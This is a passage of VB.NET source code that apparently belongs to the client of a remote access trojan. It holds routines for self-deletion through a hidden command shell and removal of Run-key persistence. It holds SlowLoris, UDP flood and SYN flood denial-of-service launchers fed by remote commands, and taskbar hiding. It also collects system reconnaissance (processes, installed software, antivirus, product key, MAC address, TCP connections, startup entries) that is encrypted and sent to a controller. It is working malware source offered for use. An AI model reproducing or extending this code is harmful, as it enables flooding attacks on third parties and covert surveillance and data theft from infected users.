p.Arguments = "/C ping 1.1.1.1 -n 1 -w " & timeout & " > Nul & Del " & ControlChars.Quote & Application.ExecutablePath & ControlChars.Quote
p.CreateNoWindow = True
p.ErrorDialog = False
p.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden
If startuplocal = True then
Dim regkey As RegistryKey
regkey = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
If regpersistence = True Then
reg.RemoveWatcher(New IO.FileInfo(Application.ExecutablePath).Name.Replace(".exe", ""))
End If
regkey.DeleteValue(New IO.FileInfo(Application.ExecutablePath).Name.Replace(".exe", ""))
End If
If startupuser = True then
Dim regkey As RegistryKey
regkey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
regkey.DeleteValue(New IO.FileInfo(Application.ExecutablePath).Name.Replace(".exe", ""))
End if
System.Diagnostics.Process.Start(p)
Application.Exit()
Catch ex As Exception
MsgBox(ex.Message)
End Try
End Sub
Sub removefromstartup(ByVal txt As String)
Try
If txt.StartsWith("C") Then
IO.File.Delete(txt.Replace("|", ""))
ElseIf txt.StartsWith("HKEY_CURRENT_USER") Then
txt = txt.Replace(txt.Split("\")(0) & "\", "")
Dim name As String = txt.Split("|")(1)
txt = txt.Replace("\|" & txt.Split("|")(1), "")
Dim regkey As RegistryKey = Registry.CurrentUser.OpenSubKey(txt, True)
regkey.DeleteValue(name)
regkey.Close()
ElseIf txt.StartsWith("HKEY_LOCAL_MACHINE") Then
txt = txt.Replace(txt.Split("\")(0) & "\", "")
Dim name As String = txt.Split("|")(1)
txt = txt.Replace("\|" & txt.Split("|")(1), "")
Dim regkey As RegistryKey = Registry.LocalMachine.OpenSubKey(txt, True)
regkey.DeleteValue(name)
regkey.Close()
End If
Catch
End Try
End Sub
Sub UploadFile(ByVal txt As String)
Try
'MsgBox(txt.Split("|")(0))
'IO.File.WriteAllBytes(txt.Split("|")(0), Convert.FromBase64String(txt.Replace(txt.Split("|")(0) & "|", "")))
Catch
End Try
End Sub
Sub StartSlowLoris(ByVal params As String)
Try
sl.Target = params.Split("|")(0)
sl.AOSockets = params.Split("|")(1)
sl.AOThreads = params.Split("|")(2)
sl.Start()
Catch
End Try
End Sub
Sub StartUDP(ByVal params As String)
Try
If UDPFlood.FloodRunning = True Then
Exit Sub
Else
UDPFlood.Host = params.Split("|")(0)
UDPFlood.Port = params.Split("|")(1)
UDPFlood.Threads = params.Split("|")(2)
UDPFlood.StartUDPFlood()
End If
Catch
End Try
End Sub
Sub StartSYN(ByVal params As String)
Try
If SynFlood.IsRunning = True Then
Exit Sub
Else
SynFlood.Host = params.Split("|")(0)
SynFlood.Port = params.Split("|")(1)
SynFlood.SynSockets = params.Split("|")(2)
SynFlood.Threads = params.Split("|")(3)
SynFlood.StartSynFlood()
End If
Catch
End Try
End Sub
Public Function HideTaskBar() As Boolean
Try
Dim lRet As Long
lRet = FindWindow("Shell_traywnd", "")
If lRet > 0 Then
lRet = SetWindowPos(lRet, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
HideTaskBar = lRet > 0
End If
Return True
Catch
Return False
End Try
End Function
Public Function ShowTaskBar() As Boolean
Try
Dim lRet As Long
lRet = FindWindow("Shell_traywnd", "")
If lRet > 0 Then
lRet = SetWindowPos(lRet, 0, 0, 0, 0, 0, SWP_SHOWWINDOW)
ShowTaskBar = lRet > 0
End If
Return True
Catch
Return False
End Try
End Function
#End Region
#Region "Information Gathering"
#Region "Get Country"
<DllImport("kernel32.dll")> _
Private Shared Function GetLocaleInfo(ByVal Locale As UInteger, ByVal LCType As UInteger, <Out()> ByVal lpLCData As System.Text.StringBuilder, ByVal cchData As Integer) As Integer
End Function
Private Const LOCALE_SYSTEM_DEFAULT As UInteger = &H400
Private Const LOCALE_SENGCOUNTRY As UInteger = &H1002
Private Shared Function GetInfo() As String
Dim lpLCData As Object = New System.Text.StringBuilder(256)
Dim ret As Integer = GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SENGCOUNTRY, lpLCData, lpLCData.Capacity)
If ret > 0 Then
Dim s As String = lpLCData.ToString().Substring(0, ret - 1)
Return UCase(s.Substring(0, 3))
End If
Return String.Empty
End Function
#End Region
Public Function getpriv() As String
Try
My.User.InitializeWithWindowsUser()
If My.User.IsAuthenticated() Then
If My.User.IsInRole(ApplicationServices.BuiltInRole.Administrator) Then
Return "Admin"
ElseIf My.User.IsInRole(ApplicationServices.BuiltInRole.User) Then
Return "User"
ElseIf My.User.IsInRole(ApplicationServices.BuiltInRole.Guest) Then
Return "Guest"
Else
Return "Unknown"
End If
End If
Return "Unknown"
Catch
Return "Unknown"
End Try
End Function
Sub sendprocess()
Dim p As New System.Diagnostics.Process()
Dim count As Integer = 0
Dim Listview1 As New ListView
For Each p In System.Diagnostics.Process.GetProcesses(My.Computer.Name)
On Error Resume Next
Listview1.Items.Add(p.ProcessName & ".exe")
Listview1.Items(count).SubItems.Add(FormatNumber(Math.Round(p.PrivateMemorySize64 / 1024), 0) & " K")
Listview1.Items(count).SubItems.Add(p.Responding)
Listview1.Items(count).SubItems.Add(p.StartTime.ToString().Trim)
Listview1.Items(count).SubItems.Add(p.Id)
count += 1
Next
Dim Items As String = ""
For Each item As ListViewItem In Listview1.Items
Items = Items & item.Text & "|" & item.SubItems(1).Text & "|" & item.SubItems(2).Text & "|" & item.SubItems(3).Text & "|" & item.SubItems(4).Text & vbNewLine
Next
Items = Items.Trim
Send(AES_Encrypt("GetProcess" & Items, enckey))
End Sub
Sub getinstalledsoftware()
Try
Dim regkey, subkey As Microsoft.Win32.RegistryKey
Dim value As String
Dim regpath As String = "Software\Microsoft\Windows\CurrentVersion\Uninstall"
Dim software As String = String.Empty
Dim softwarecount As Integer
regkey = My.Computer.Registry.LocalMachine.OpenSubKey(regpath)
Dim subkeys() As String = regkey.GetSubKeyNames
Dim includes As Boolean
For Each subk As String In subkeys
subkey = regkey.OpenSubKey(subk)
value = subkey.GetValue("DisplayName", "")
If value <> "" Then
includes = True
If value.IndexOf("Hotfix") <> -1 Then includes = False
If value.IndexOf("Security Update") <> -1 Then includes = False
If value.IndexOf("Update for") <> -1 Then includes = False
If includes = True Then
software += value & "|" & vbCrLf
softwarecount += 1
End If
End If
Next
Dim final As String = "Software|" & softwarecount & "|" & software
Send(AES_Encrypt(final, enckey))
Catch
End Try
End Sub
#Region "System Information"
Function getsystem() As String
Try
Return SystemInformation.ComputerName.ToString() & "|" & _
SystemInformation.UserName.ToString() & "|" & _
SystemInformation.VirtualScreen.Width & "|" & _
SystemInformation.VirtualScreen.Height & "|" & _
FormatNumber(My.Computer.Info.AvailablePhysicalMemory / 1024 / 1024 / 1024, 2) & " GB|" & _
FormatNumber(My.Computer.Info.AvailableVirtualMemory / 1024 / 1024 / 1024, 2) & " GB|" & _
My.Computer.Info.OSFullName & "|" & _
My.Computer.Info.OSPlatform & "|" & _
My.Computer.Info.OSVersion & "|" & _
FormatNumber(My.Computer.Info.TotalPhysicalMemory / 1024 / 1024 / 1024, 2) & " GB|" & _
FormatNumber(My.Computer.Info.TotalVirtualMemory / 1024 / 1024 / 1024, 2) & " GB|" & _
SystemInformation.PowerStatus.BatteryChargeStatus.ToString() & "|" & _
SystemInformation.PowerStatus.BatteryFullLifetime.ToString() & "|" & _
SystemInformation.PowerStatus.BatteryLifePercent.ToString() & "|" & _
SystemInformation.PowerStatus.BatteryLifeRemaining.ToString() & "|" & _
GetCPUInfo() & "|" & GetGPUName() & "|" & _
"(Started: " & StartUp() & ") & (Uptime: " & getUptime() & ")"
Catch
Return "N/A"
End Try
End Function
Private Function StartUp() As String
Try
Dim StartDate As DateTime
Dim envTicks As Long = Environment.TickCount
Dim msToAdd As Long = envTicks - (envTicks * 2)
StartDate = DateTime.Now.AddMilliseconds(msToAdd)
Return StartDate.ToString
Catch
Return Nothing
End Try
End Function
Public Function getUptime() As String
Try
Dim time As String = String.Empty
time += Math.Round(Environment.TickCount / 86400000) & " days, "
time += Math.Round(Environment.TickCount / 3600000 Mod 24) & " hours, "
time += Math.Round(Environment.TickCount / 120000 Mod 60) & " minutes, "
time += Math.Round(Environment.TickCount / 1000 Mod 60) & " seconds."
Return time
Catch
Return Nothing
End Try
End Function
Private Function GetCPUInfo() As String
Try
Dim cpuName As String = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("HARDWARE\DESCRIPTION\System\CentralProcessor\0").GetValue("ProcessorNameString")
Return cpuName.Replace(" ", " ").Replace(" ", " ")
Catch
Return Nothing
End Try
End Function
Private Function GetGPUName() As String
Dim GraphicsCardName As String = String.Empty
Try
Dim WmiSelect As New ManagementObjectSearcher _
("root\CIMV2", "SELECT * FROM Win32_VideoController")
For Each WmiResults As ManagementObject In WmiSelect.Get()
GraphicsCardName = WmiResults.GetPropertyValue("Name").ToString
If (Not String.IsNullOrEmpty(GraphicsCardName)) Then
Exit For
End If
Next
Catch err As ManagementException
End Try
Return GraphicsCardName
End Function
#End Region
#Region "Deep Information"
Function GetDeepInfo() As String
Try
Dim devices As String = String.Empty
Dim strName As String = Space(100)
Dim strVer As String = Space(100)
Dim bReturn As Boolean
Dim x As Integer = 0
Do
bReturn = capGetDriverDescriptionA(x, strName, 100, strVer, 100)
If bReturn Then devices += strName.Trim & "|"
x += 1
Loop Until bReturn = False
Dim res As String = String.Empty
If devices <> "" Then
res = "Yes" : Else : res = "No"
End If
Return "|" & My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "RegisteredOwner", "N/A") & "|" & _
My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "RegisteredOrganization", "N/A") & "|" & _
My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Win8", "ProductKey", "N/A") & "|" & NetworkInterface.GetAllNetworkInterfaces()(0).GetPhysicalAddress().ToString & "|" & _
res & "|" & GetAV() & "|" & Application.ExecutablePath
Catch
Return ""
End Try
End Function
Function GetAV() As String
Dim wmiQuery As Object = "Select * From AntiVirusProduct"
Dim objWMIService As Object = GetObject("winmgmts:\\.\root\SecurityCenter2")
Dim colItems As Object = objWMIService.ExecQuery(wmiQuery)
For Each objItem As Object In colItems
On Error Resume Next
Return objItem.displayName.ToString()
Next
Return Nothing
End Function
#End Region
Function GetTCPConnections() As String
Try
Dim s As String = String.Empty
Dim properties As IPGlobalProperties = IPGlobalProperties.GetIPGlobalProperties()
Dim connections() As TcpConnectionInformation = properties.GetActiveTcpConnections()
For Each c As TcpConnectionInformation In connections
s += String.Format("{0}|{1}|{2}", c.LocalEndPoint, c.RemoteEndPoint, c.State) & vbCrLf
Next
Return s.Trim
Catch
Return Nothing
End Try
End Function
Private Sub GetStartupEntries()
Try
Dim x As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup)
Dim dir As DirectoryInfo = New DirectoryInfo(x)
Dim files() As FileInfo = dir.GetFiles
Dim regkeys(3) As RegistryKey
regkeys(0) = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
regkeys(1) = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\RunOnce")
regkeys(2) = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
regkeys(3) = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\RunOnce")
Dim result As String = String.Empty
For Each File As FileInfo In files
result += String.Format("{0}|{1}|{2}", x, File.Name, x & "\" & File.Name) & vbCrLf
Next
For i As Integer = 0 To 3
For Each valueName As String In regkeys(i).GetValueNames()
result += String.Format("{0}|{1}|{2}", regkeys(i).ToString, valueName, regkeys(i).GetValue(valueName)) & vbCrLf
Next
Next
result = result.Trim
Send(AES_Encrypt("Strtp" & result, enckey))
Catch
End Try
End Sub
Sub SendServices()
Dim Listview1 As New ListView
Dim scServices() As ServiceController = ServiceController.GetServices()
For i As Integer = 0 To UBound(scServices)
With ListView1.Items.Add(scServices(i).ServiceName)
.SubItems.Add(scServices(i).DisplayName)
.SubItems.Add(scServices(i).ServiceType.ToString)
.SubItems.Add(scServices(i).Status.ToString)
End With
Next
Dim Items As String = ""
For Each item As ListViewItem In Listview1.Items